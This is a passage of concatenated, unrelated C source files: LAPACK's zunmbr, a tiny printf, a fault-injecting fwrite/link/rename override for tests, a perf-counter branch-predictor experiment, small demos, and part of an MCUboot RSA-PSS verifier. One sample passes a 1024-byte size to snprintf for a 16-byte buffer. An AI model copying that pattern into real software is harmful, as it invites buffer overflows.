elementary reflectors H(i) and */ /* > G(i) respectively. */ /* > */ /* > Let nq = m if SIDE = 'L' and nq = n if SIDE = 'R'. Thus nq is the */ /* > order of the unitary matrix Q or P**H that is applied. */ /* > */ /* > If VECT = 'Q', A is assumed to have been an NQ-by-K matrix: */ /* > if nq >= k, Q = H(1) H(2) . . . H(k); */ /* > if nq < k, Q = H(1) H(2) . . . H(nq-1). */ /* > */ /* > If VECT = 'P', A is assumed to have been a K-by-NQ matrix: */ /* > if k < nq, P = G(1) G(2) . . . G(k); */ /* > if k >= nq, P = G(1) G(2) . . . G(nq-1). */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] VECT */ /* > \verbatim */ /* > VECT is CHARACTER*1 */ /* > = 'Q': apply Q or Q**H; */ /* > = 'P': apply P or P**H. */ /* > \endverbatim */ /* > */ /* > \param[in] SIDE */ /* > \verbatim */ /* > SIDE is CHARACTER*1 */ /* > = 'L': apply Q, Q**H, P or P**H from the Left; */ /* > = 'R': apply Q, Q**H, P or P**H from the Right. */ /* > \endverbatim */ /* > */ /* > \param[in] TRANS */ /* > \verbatim */ /* > TRANS is CHARACTER*1 */ /* > = 'N': No transpose, apply Q or P; */ /* > = 'C': Conjugate transpose, apply Q**H or P**H. */ /* > \endverbatim */ /* > */ /* > \param[in] M */ /* > \verbatim */ /* > M is INTEGER */ /* > The number of rows of the matrix C. M >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The number of columns of the matrix C. N >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] K */ /* > \verbatim */ /* > K is INTEGER */ /* > If VECT = 'Q', the number of columns in the original */ /* > matrix reduced by ZGEBRD. */ /* > If VECT = 'P', the number of rows in the original */ /* > matrix reduced by ZGEBRD. */ /* > K >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] A */ /* > \verbatim */ /* > A is COMPLEX*16 array, dimension */ /* > (LDA,f2cmin(nq,K)) if VECT = 'Q' */ /* > (LDA,nq) if VECT = 'P' */ /* > The vectors which define the elementary reflectors H(i) and */ /* > G(i), whose products determine the matrices Q and P, as */ /* > returned by ZGEBRD. */ /* > \endverbatim */ /* > */ /* > \param[in] LDA */ /* > \verbatim */ /* > LDA is INTEGER */ /* > The leading dimension of the array A. */ /* > If VECT = 'Q', LDA >= f2cmax(1,nq); */ /* > if VECT = 'P', LDA >= f2cmax(1,f2cmin(nq,K)). */ /* > \endverbatim */ /* > */ /* > \param[in] TAU */ /* > \verbatim */ /* > TAU is COMPLEX*16 array, dimension (f2cmin(nq,K)) */ /* > TAU(i) must contain the scalar factor of the elementary */ /* > reflector H(i) or G(i) which determines Q or P, as returned */ /* > by ZGEBRD in the array argument TAUQ or TAUP. */ /* > \endverbatim */ /* > */ /* > \param[in,out] C */ /* > \verbatim */ /* > C is COMPLEX*16 array, dimension (LDC,N) */ /* > On entry, the M-by-N matrix C. */ /* > On exit, C is overwritten by Q*C or Q**H*C or C*Q**H or C*Q */ /* > or P*C or P**H*C or C*P or C*P**H. */ /* > \endverbatim */ /* > */ /* > \param[in] LDC */ /* > \verbatim */ /* > LDC is INTEGER */ /* > The leading dimension of the array C. LDC >= f2cmax(1,M). */ /* > \endverbatim */ /* > */ /* > \param[out] WORK */ /* > \verbatim */ /* > WORK is COMPLEX*16 array, dimension (MAX(1,LWORK)) */ /* > On exit, if INFO = 0, WORK(1) returns the optimal LWORK. */ /* > \endverbatim */ /* > */ /* > \param[in] LWORK */ /* > \verbatim */ /* > LWORK is INTEGER */ /* > The dimension of the array WORK. */ /* > If SIDE = 'L', LWORK >= f2cmax(1,N); */ /* > if SIDE = 'R', LWORK >= f2cmax(1,M); */ /* > if N = 0 or M = 0, LWORK >= 1. */ /* > For optimum performance LWORK >= f2cmax(1,N*NB) if SIDE = 'L', */ /* > and LWORK >= f2cmax(1,M*NB) if SIDE = 'R', where NB is the */ /* > optimal blocksize. (NB = 0 if M = 0 or N = 0.) */ /* > */ /* > If LWORK = -1, then a workspace query is assumed; the routine */ /* > only calculates the optimal size of the WORK array, returns */ /* > this value as the first entry of the WORK array, and no error */ /* > message related to LWORK is issued by XERBLA. */ /* > \endverbatim */ /* > */ /* > \param[out] INFO */ /* > \verbatim */ /* > INFO is INTEGER */ /* > = 0: successful exit */ /* > < 0: if INFO = -i, the i-th argument had an illegal value */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date December 2016 */ /* > \ingroup complex16OTHERcomputational */ /* ===================================================================== */ /* Subroutine */ int zunmbr_(char *vect, char *side, char *trans, integer *m, integer *n, integer *k, doublecomplex *a, integer *lda, doublecomplex *tau, doublecomplex *c__, integer *ldc, doublecomplex *work, integer * lwork, integer *info) { /* System generated locals */ address a__1[2]; integer a_dim1, a_offset, c_dim1, c_offset, i__1, i__2, i__3[2]; char ch__1[2]; /* Local variables */ logical left; extern logical lsame_(char *, char *); integer iinfo, i1, i2, nb, mi, ni, nq, nw; extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen); extern integer ilaenv_(integer *, char *, char *, integer *, integer *, integer *, integer *, ftnlen, ftnlen); logical notran, applyq; char transt[1]; integer lwkopt; logical lquery; extern /* Subroutine */ int zunmlq_(char *, char *, integer *, integer *, integer *, doublecomplex *, integer *, doublecomplex *, doublecomplex *, integer *, doublecomplex *, integer *, integer *), zunmqr_(char *, char *, integer *, integer *, integer *, doublecomplex *, integer *, doublecomplex *, doublecomplex *, integer *, doublecomplex *, integer *, integer *); /* -- LAPACK computational routine (version 3.7.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* December 2016 */ /* ===================================================================== */ /* Test the input arguments */ /* Parameter adjustments */ a_dim1 = *lda; a_offset = 1 + a_dim1 * 1; a -= a_offset; --tau; c_dim1 = *ldc; c_offset = 1 + c_dim1 * 1; c__ -= c_offset; --work; /* Function Body */ *info = 0; applyq = lsame_(vect, "Q"); left = lsame_(side, "L"); notran = lsame_(trans, "N"); lquery = *lwork == -1; /* NQ is the order of Q or P and NW is the minimum dimension of WORK */ if (left) { nq = *m; nw = *n; } else { nq = *n; nw = *m; } if (*m == 0 || *n == 0) { nw = 0; } if (! applyq && ! lsame_(vect, "P")) { *info = -1; } else if (! left && ! lsame_(side, "R")) { *info = -2; } else if (! notran && ! lsame_(trans, "C")) { *info = -3; } else if (*m < 0) { *info = -4; } else if (*n < 0) { *info = -5; } else if (*k < 0) { *info = -6; } else /* if(complicated condition) */ { /* Computing MAX */ i__1 = 1, i__2 = f2cmin(nq,*k); if (applyq && *lda < f2cmax(1,nq) || ! applyq && *lda < f2cmax(i__1,i__2)) { *info = -8; } else if (*ldc < f2cmax(1,*m)) { *info = -11; } else if (*lwork < f2cmax(1,nw) && ! lquery) { *info = -13; } } if (*info == 0) { if (nw > 0) { if (applyq) { if (left) { /* Writing concatenation */ i__3[0] = 1, a__1[0] = side; i__3[1] = 1, a__1[1] = trans; s_cat(ch__1, a__1, i__3, &c__2, (ftnlen)2); i__1 = *m - 1; i__2 = *m - 1; nb = ilaenv_(&c__1, "ZUNMQR", ch__1, &i__1, n, &i__2, & c_n1, (ftnlen)6, (ftnlen)2); } else { /* Writing concatenation */ i__3[0] = 1, a__1[0] = side; i__3[1] = 1, a__1[1] = trans; s_cat(ch__1, a__1, i__3, &c__2, (ftnlen)2); i__1 = *n - 1; i__2 = *n - 1; nb = ilaenv_(&c__1, "ZUNMQR", ch__1, m, &i__1, &i__2, & c_n1, (ftnlen)6, (ftnlen)2); } } else { if (left) { /* Writing concatenation */ i__3[0] = 1, a__1[0] = side; i__3[1] = 1, a__1[1] = trans; s_cat(ch__1, a__1, i__3, &c__2, (ftnlen)2); i__1 = *m - 1; i__2 = *m - 1; nb = ilaenv_(&c__1, "ZUNMLQ", ch__1, &i__1, n, &i__2, & c_n1, (ftnlen)6, (ftnlen)2); } else { /* Writing concatenation */ i__3[0] = 1, a__1[0] = side; i__3[1] = 1, a__1[1] = trans; s_cat(ch__1, a__1, i__3, &c__2, (ftnlen)2); i__1 = *n - 1; i__2 = *n - 1; nb = ilaenv_(&c__1, "ZUNMLQ", ch__1, m, &i__1, &i__2, & c_n1, (ftnlen)6, (ftnlen)2); } } /* Computing MAX */ i__1 = 1, i__2 = nw * nb; lwkopt = f2cmax(i__1,i__2); } else { lwkopt = 1; } work[1].r = (doublereal) lwkopt, work[1].i = 0.; } if (*info != 0) { i__1 = -(*info); xerbla_("ZUNMBR", &i__1, (ftnlen)6); return 0; } else if (lquery) { return 0; } /* Quick return if possible */ if (*m == 0 || *n == 0) { return 0; } if (applyq) { /* Apply Q */ if (nq >= *k) { /* Q was determined by a call to ZGEBRD with nq >= k */ zunmqr_(side, trans, m, n, k, &a[a_offset], lda, &tau[1], &c__[ c_offset], ldc, &work[1], lwork, &iinfo); } else if (nq > 1) { /* Q was determined by a call to ZGEBRD with nq < k */ if (left) { mi = *m - 1; ni = *n; i1 = 2; i2 = 1; } else { mi = *m; ni = *n - 1; i1 = 1; i2 = 2; } i__1 = nq - 1; zunmqr_(side, trans, &mi, &ni, &i__1, &a[a_dim1 + 2], lda, &tau[1] , &c__[i1 + i2 * c_dim1], ldc, &work[1], lwork, &iinfo); } } else { /* Apply P */ if (notran) { *(unsigned char *)transt = 'C'; } else { *(unsigned char *)transt = 'N'; } if (nq > *k) { /* P was determined by a call to ZGEBRD with nq > k */ zunmlq_(side, transt, m, n, k, &a[a_offset], lda, &tau[1], &c__[ c_offset], ldc, &work[1], lwork, &iinfo); } else if (nq > 1) { /* P was determined by a call to ZGEBRD with nq <= k */ if (left) { mi = *m - 1; ni = *n; i1 = 2; i2 = 1; } else { mi = *m; ni = *n - 1; i1 = 1; i2 = 2; } i__1 = nq - 1; zunmlq_(side, transt, &mi, &ni, &i__1, &a[(a_dim1 << 1) + 1], lda, &tau[1], &c__[i1 + i2 * c_dim1], ldc, &work[1], lwork, & iinfo); } } work[1].r = (doublereal) lwkopt, work[1].i = 0.; return 0; /* End of ZUNMBR */ } /* zunmbr_ */
the_stack_data/435688.c
/* * Copyright (c) 2004,2012 Kustaa Nyholm / SpareTimeLabs * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list * of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this * list of conditions and the following disclaimer in the documentation and/or other * materials provided with the distribution. * * Neither the name of the Kustaa Nyholm or SpareTimeLabs nor the names of its * contributors may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ #include "printf.h" typedef void (*putcf) (void*,char); static putcf stdout_putf; static void* stdout_putp; #ifdef PRINTF_LONG_SUPPORT static void uli2a(unsigned long int num, unsigned int base, int uc,char * bf) { int n=0; unsigned int d=1; while (num/d >= base) d*=base; while (d!=0) { int dgt = num / d; num%=d; d/=base; if (n || dgt>0|| d==0) { *bf++ = dgt+(dgt<10 ? '0' : (uc ? 'A' : 'a')-10); ++n; } } *bf=0; } static void li2a (long num, char * bf) { if (num<0) { num=-num; *bf++ = '-'; } uli2a(num,10,0,bf); } #endif static void ui2a(unsigned int num, unsigned int base, int uc,char * bf) { int n=0; unsigned int d=1; while (num/d >= base) d*=base; while (d!=0) { int dgt = num / d; num%= d; d/=base; if (n || dgt>0 || d==0) { *bf++ = dgt+(dgt<10 ? '0' : (uc ? 'A' : 'a')-10); ++n; } } *bf=0; } static void i2a (int num, char * bf) { if (num<0) { num=-num; *bf++ = '-'; } ui2a(num,10,0,bf); } static int a2d(char ch) { if (ch>='0' && ch<='9') return ch-'0'; else if (ch>='a' && ch<='f') return ch-'a'+10; else if (ch>='A' && ch<='F') return ch-'A'+10; else return -1; } static char a2i(char ch, char** src,int base,int* nump) { char* p= *src; int num=0; int digit; while ((digit=a2d(ch))>=0) { if (digit>base) break; num=num*base+digit; ch=*p++; } *src=p; *nump=num; return ch; } static void putchw(void* putp,putcf putf,int n, char z, char* bf) { char fc=z? '0' : ' '; char ch; char* p=bf; while (*p++ && n > 0) n--; while (n-- > 0) putf(putp,fc); while ((ch= *bf++)) putf(putp,ch); } void tfp_format(void* putp,putcf putf,char *fmt, va_list va) { char bf[12]; char ch; while ((ch=*(fmt++))) { if (ch!='%') putf(putp,ch); else { char lz=0; #ifdef PRINTF_LONG_SUPPORT char lng=0; #endif int w=0; ch=*(fmt++); if (ch=='0') { ch=*(fmt++); lz=1; } if (ch>='0' && ch<='9') { ch=a2i(ch,&fmt,10,&w); } #ifdef PRINTF_LONG_SUPPORT if (ch=='l') { ch=*(fmt++); lng=1; } #endif switch (ch) { case 0: goto abort; case 'u' : { #ifdef PRINTF_LONG_SUPPORT if (lng) uli2a(va_arg(va, unsigned long int),10,0,bf); else #endif ui2a(va_arg(va, unsigned int),10,0,bf); putchw(putp,putf,w,lz,bf); break; } case 'd' : { #ifdef PRINTF_LONG_SUPPORT if (lng) li2a(va_arg(va, unsigned long int),bf); else #endif i2a(va_arg(va, int),bf); putchw(putp,putf,w,lz,bf); break; } case 'x': case 'X' : #ifdef PRINTF_LONG_SUPPORT if (lng) uli2a(va_arg(va, unsigned long int),16,(ch=='X'),bf); else #endif ui2a(va_arg(va, unsigned int),16,(ch=='X'),bf); putchw(putp,putf,w,lz,bf); break; case 'c' : putf(putp,(char)(va_arg(va, int))); break; case 's' : putchw(putp,putf,w,0,va_arg(va, char*)); break; case '%' : putf(putp,ch); default: break; } } } abort:; } void init_printf(void* putp,void (*putf) (void*,char)) { stdout_putf=putf; stdout_putp=putp; } void tfp_printf(char *fmt, ...) { va_list va; va_start(va,fmt); tfp_format(stdout_putp,stdout_putf,fmt,va); va_end(va); } static void putcp(void* p,char c) { *(*((char**)p))++ = c; } void tfp_sprintf(char* s,char *fmt, ...) { va_list va; va_start(va,fmt); tfp_format(&s,putcp,fmt,va); putcp(&s,0); va_end(va); }
the_stack_data/176705558.c
/* fwrite.c -- override fwrite() to allow testing special cases Copyright (C) 2013-2018 Dieter Baron and Thomas Klausner This file is part of ckmame, a program to check rom sets for MAME. The authors can be contacted at <[email protected]> Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define __USE_GNU #include <dlfcn.h> #undef __USE_GNU static size_t count = 0; static size_t max_write = 0; static size_t (*real_fwrite)(const void *ptr, size_t size, size_t nmemb, FILE *stream) = NULL; static int (*real_link)(const char *src, const char *dest) = NULL; static int (*real_rename)(const char *src, const char *dest) = NULL; #if 0 static size_t (*real_write)(int d, const void *buf, size_t nbytes) = NULL; #endif size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) { size_t ret; if (real_fwrite == NULL) { char *foo; if ((foo = getenv("FWRITE_MAX_WRITE")) != NULL) max_write = strtoul(foo, NULL, 0); real_fwrite = dlsym(RTLD_NEXT, "fwrite"); if (!real_fwrite) abort(); } if (max_write > 0 && count + size * nmemb > max_write) { errno = ENOSPC; return -1; } ret = real_fwrite(ptr, size, nmemb, stream); count += ret * size; return ret; } int link(const char *src, const char *dest) { if (real_link == NULL) { real_link = dlsym(RTLD_NEXT, "link"); if (!real_link) abort(); } if (getenv("LINK_ALWAYS_FAILS") != NULL) { errno = EPERM; return -1; } if (getenv("LINK_FAILS") != NULL) { if (strcmp(getenv("LINK_FAILS"), dest) == 0) { errno = EPERM; return -1; } } return real_link(src, dest); } int rename(const char *src, const char *dest) { if (real_rename == NULL) { real_rename = dlsym(RTLD_NEXT, "rename"); if (!real_rename) abort(); } if (getenv("RENAME_LOG") != NULL) { fprintf(stderr, "LOG: rename '%s' -> '%s'\n", src, dest); } if (getenv("RENAME_ALWAYS_FAILS") != NULL) { errno = EPERM; return -1; } if (getenv("RENAME_FAILS") != NULL) { if (strcmp(getenv("RENAME_FAILS"), dest) == 0) { errno = EPERM; return -1; } } return real_rename(src, dest); } #if 0 ssize_t write(int d, const void *buf, size_t nbytes) { size_t ret; if (real_write == NULL) { char *foo; if ((foo = getenv("WRITE_MAX_WRITE")) != NULL) max_write = strtoul(foo, NULL, 0); real_write = dlsym(RTLD_NEXT, "write"); if (!real_write) abort(); } /* ignore stdin, stdout, stderr */ if (d > 2 && max_write > 0 && count + nbytes > max_write) { errno = ENOSPC; return -1; } ret = real_write(d, buf, nbytes); if (d > 2) { count += ret; } return ret; } #endif
the_stack_data/590064.c
/* * Copyright (C) 2019 Intel Corporation. All rights reserved. * SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception */ #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { char *buf; printf("Hello world!\n"); buf = malloc(16); if (!buf) { printf("malloc buf failed\n"); return -1; } printf("buf ptr: %p\n", buf); snprintf(buf, 1024, "%s", "1234\n"); printf("buf: %s", buf); free(buf); return 0; }
the_stack_data/248579786.c
#include <stdio.h> #include <string.h> #include <stdarg.h> #include <stdlib.h> #include <unistd.h> #include <time.h> #include <errno.h> #include <sys/utsname.h> enum { INFO, WARNING, ERROR }; void logmsg(int s, char *msg, ...) { va_list ap; time_t t; struct tm *l; struct utsname u; char *err[] = { "", " WARNING:", " ERROR:" }; time(&t); l=localtime(&t); uname(&u); if(s>2) s=2; if(s<0) s=0; fflush(stdout); printf("%04d/%02d/%02d %02d:%02d:%02d %s:%s ", l->tm_year+1900, l->tm_mon+1, l->tm_mday, l->tm_hour, l->tm_min, l->tm_sec, u.nodename, err[s] ); va_start(ap, msg); vprintf(msg, ap); va_end(ap); if(s) printf(" [%s (%d)]", strerror(errno), errno); putchar('\n'); fflush(stdout); if(s==ERROR) exit(1); } int main() { logmsg(INFO, "hello %s %c", "world", '!'); logmsg(WARNING, "oh %s %c", "no", '!'); fopen("/dev/null", "invalid"); logmsg(ERROR, "oh %s %c", "shit", '!'); logmsg(INFO, "this did not happen"); return 0; }
the_stack_data/137386.c
#include <err.h> #include <limits.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <asm/unistd.h> #include <linux/perf_event.h> #define BITS_TESTED 24 #define BUF_SIZE (1L<<BITS_TESTED) const int INSN_RET = 0xC3; // 1 byte const int INSN_JMP = 0xE9; // 5 bytes: opcode + 4B displacement ////////////////////////////////////////////// // xorshift128+ by Sebastiano Vigna // from http://xorshift.di.unimi.it/xorshift128plus.c uint64_t xrand(void) { static uint64_t s[2] = {0x12345678L, 0xABCDEF123L}; uint64_t s1 = s[0]; const uint64_t s0 = s[1]; s[0] = s0; s1 ^= s1 << 23; // a s[1] = s1 ^ s0 ^ (s1 >> 18) ^ (s0 >> 5); // b, c return s[1] + s0; } ///////////////////////////////////// long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags) { int ret; ret = syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); return ret; } int open_perf_counter(void) { int fd; struct perf_event_attr pe = {}; pe.size = sizeof(struct perf_event_attr); // Haswell BACLEARS.ANY: // "Number of front end re-steers due to BPU misprediction." // Intel® 64 and IA-32 Architectures Software Developer’s Manual // Vol 3B -- 19-29 // TODO: use libpfm4 to supply this value for different uarchs pe.type = PERF_TYPE_RAW; pe.config = 0x1FE6; pe.disabled = 1; pe.exclude_kernel = 1; pe.exclude_hv = 1; fd = perf_event_open(&pe, 0, -1, -1, 0); if (fd == -1) err(EXIT_FAILURE, "Error opening leader %llx", pe.config); return fd; } long count_perf(int fd, void (*func)()) { long long count; ioctl(fd, PERF_EVENT_IOC_RESET, 0); func(); func(); // warm up? ioctl(fd, PERF_EVENT_IOC_ENABLE, 0); // running the function 10x makes any consistent perf events // occur repeatedly, helping to separate them from background noise func(); func(); func(); func(); func(); func(); func(); func(); func(); func(); ioctl(fd, PERF_EVENT_IOC_DISABLE, 0); if (read(fd, &count, sizeof(count)) != sizeof(count)) err(EXIT_FAILURE, "unable to read perfctr"); return count; } long count_perf_min(int fd, void (*func)(), int iters) { long min_count = LONG_MAX; for (int i = 0; i < iters; i++) { long count = count_perf(fd, func); if (count < min_count) min_count = count; } return min_count; } double count_perf_average(int fd, void (*func)(), int iters) { for (int i = 0; i < 10; i++) count_perf(fd, func); // warm-up. long total = 0; for (int i = 0; i < iters; i++) total += count_perf(fd, func); return total / (double)iters; } void write_jump(uint8_t *buf, int addr, int target) { int offset = target - addr - 5; buf[addr] = INSN_JMP; buf[addr+1] = offset & 0xFF; buf[addr+2] = (offset >> 8) & 0xFF; buf[addr+3] = (offset >> 16) & 0xFF; buf[addr+4] = (offset >> 24) & 0xFF; } // returns true if putting a jump instruction // at addr would squash another jump instruction int already_used(uint8_t *buf, int addr) { for (int i = -4; i <= 4; i++) { if (addr + i < 0) continue; if (buf[addr + i] == INSN_JMP) return 1; } return 0; } int main(int argc, char **argv) { int fd = open_perf_counter(); // Create a function from a series of unconditional jumps uint8_t *buf = mmap((void*)0x100000000, BUF_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if (buf == MAP_FAILED) err(EXIT_FAILURE, "unable to mmap"); const int N_JUMPS = 410; int last = xrand() % (BUF_SIZE - 5); int jump_addrs[N_JUMPS]; jump_addrs[0] = last; for (int i = 1; i < N_JUMPS; i++) { int target; do { target = xrand() % (BUF_SIZE - 5); } while (already_used(buf, target)); write_jump(buf, last, target); jump_addrs[i] = target; last = target; } buf[last] = INSN_RET; void (*func)() = (void(*)())buf + jump_addrs[0]; long clears = count_perf_min(fd, func, 5000); printf("BACLEARS: %ld\n", clears); // Try to find which jumps are causing mispredicts. for (int i = 1; i < N_JUMPS - 1; i++) { write_jump(buf, jump_addrs[i - 1], jump_addrs[i + 1]); // skip this jump long modified_clears = count_perf_min(fd, func, 500); if (modified_clears < clears - 7) printf("!! %03d %06x %ld\n", i, jump_addrs[i], modified_clears); write_jump(buf, jump_addrs[i - 1], jump_addrs[i]); // undo } close(fd); }
the_stack_data/18171.c
/* ************************************************************************** */ /* */ /* :::::::: */ /* ft_str_is_alpha.c :+: :+: */ /* +:+ */ /* By: areintha <[email protected]> +#+ */ /* +#+ */ /* Created: 2021/06/17 12:22:13 by areintha #+# #+# */ /* Updated: 2021/06/18 14:05:58 by areintha ######## odam.nl */ /* */ /* ************************************************************************** */ int ft_str_is_alpha(char *str) { int r ; if (str[0] == '\0') r = 1 ; else { while (*str) { if ((*str >= 'A' && *str <= 'Z') || \ (*str >= 'a' && *str <= 'z')) r = 1; else { r = 0; break ; } str++ ; } } return (r); }
the_stack_data/557264.c
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ #include <string.h> #ifdef MCUBOOT_SIGN_RSA #include "bootutil/sign_key.h" #include "bootutil/sha256.h" #include "mbedtls/rsa.h" #include "mbedtls/asn1.h" #include "mbedtls/version.h" #include "bootutil_priv.h" /* * Constants for this particular constrained implementation of * RSA-PSS. In particular, we support RSA 2048, with a SHA256 hash, * and a 32-byte salt. A signature with different parameters will be * rejected as invalid. */ /* The size, in octets, of the message. */ #define PSS_EMLEN 256 /* The size of the hash function. For SHA256, this is 32 bytes. */ #define PSS_HLEN 32 /* Size of the salt, should be fixed. */ #define PSS_SLEN 32 /* The length of the mask: emLen - hLen - 1. */ #define PSS_MASK_LEN (256 - PSS_HLEN - 1) #define PSS_HASH_OFFSET PSS_MASK_LEN /* For the mask itself, how many bytes should be all zeros. */ #define PSS_MASK_ZERO_COUNT (PSS_MASK_LEN - PSS_SLEN - 1) #define PSS_MASK_ONE_POS PSS_MASK_ZERO_COUNT /* Where the salt starts. */ #define PSS_MASK_SALT_POS (PSS_MASK_ONE_POS + 1) static const uint8_t pss_zeros[8] = {0}; /* * Parse the public key used for signing. Simple RSA format. */ static int bootutil_parse_rsakey(mbedtls_rsa_context *ctx, uint8_t **p, uint8_t *end) { int rc, rc2; size_t len; rc = mbedtls_asn1_get_tag(p, end, &len, MBEDTLS_ASN1_CONSTRUCTED | MBEDTLS_ASN1_SEQUENCE); if (rc != 0) { return -1; } if (*p + len != end) { return -2; } rc = mbedtls_asn1_get_mpi(p, end, &ctx->N); rc2 = mbedtls_asn1_get_mpi(p, end, &ctx->E); if ((rc != 0) || (rc2 != 0)) { return -3; } if (*p != end) { return -4; } /* The mbedtls version is more than 2.6.1 */ #if MBEDTLS_VERSION_NUMBER > 0x02060100 rc = mbedtls_rsa_import(ctx, &ctx->N, NULL, NULL, NULL, &ctx->E); if (rc != 0) { return -5; } #endif rc = mbedtls_rsa_check_pubkey(ctx); if (rc != 0) { return -6; } ctx->len = mbedtls_mpi_size(&ctx->N); return 0; } /* * Compute the RSA-PSS mask-generation function, MGF1. Assumptions * are that the mask length will be less than 256 * PSS_HLEN, and * therefore we never need to increment anything other than the low * byte of the counter. * * This is described in PKCS#1, B.2.1. */ static void pss_mgf1(uint8_t *mask, const uint8_t *hash) { bootutil_sha256_context ctx; uint8_t counter[4] = { 0, 0, 0, 0 }; uint8_t htmp[PSS_HLEN]; int count = PSS_MASK_LEN; int bytes; while (count > 0) { bootutil_sha256_init(&ctx); bootutil_sha256_update(&ctx, hash, PSS_HLEN); bootutil_sha256_update(&ctx, counter, 4); bootutil_sha256_finish(&ctx, htmp); counter[3]++; bytes = PSS_HLEN; if (bytes > count) bytes = count; memcpy(mask, htmp, bytes); mask += bytes; count -= bytes; } } /* * Validate an RSA signature, using RSA-PSS, as described in PKCS #1 * v2.2, section 9.1.2, with many parameters required to have fixed * values. */ static int bootutil_cmp_rsasig(mbedtls_rsa_context *ctx, uint8_t *hash, uint32_t hlen, uint8_t *sig) { bootutil_sha256_context shactx; uint8_t em[MBEDTLS_MPI_MAX_SIZE]; uint8_t db_mask[PSS_MASK_LEN]; uint8_t h2[PSS_HLEN]; int i; if (ctx->len != PSS_EMLEN || PSS_EMLEN > MBEDTLS_MPI_MAX_SIZE) { return -1; } if (hlen != PSS_HLEN) { return -1; } if (mbedtls_rsa_public(ctx, sig, em)) { return -1; } /* * PKCS #1 v2.2, 9.1.2 EMSA-PSS-Verify * * emBits is 2048 * emLen = ceil(emBits/8) = 256 * * The salt length is not known at the beginning. */ /* Step 1. The message is constrained by the address space of a * 32-bit processor, which is far less than the 2^61-1 limit of * SHA-256. */ /* Step 2. mHash is passed in as 'hash', with hLen the hlen * argument. */ /* Step 3. if emLen < hLen + sLen + 2, inconsistent and stop. * The salt length is not known at this point. */ /* Step 4. If the rightmost octect of EM does have the value * 0xbc, output inconsistent and stop. */ if (em[PSS_EMLEN - 1] != 0xbc) { return -1; } /* Step 5. Let maskedDB be the leftmost emLen - hLen - 1 octets * of EM, and H be the next hLen octets. * * maskedDB is then the first 256 - 32 - 1 = 0-222 * H is 32 bytes 223-254 */ /* Step 6. If the leftmost 8emLen - emBits bits of the leftmost * octet in maskedDB are not all 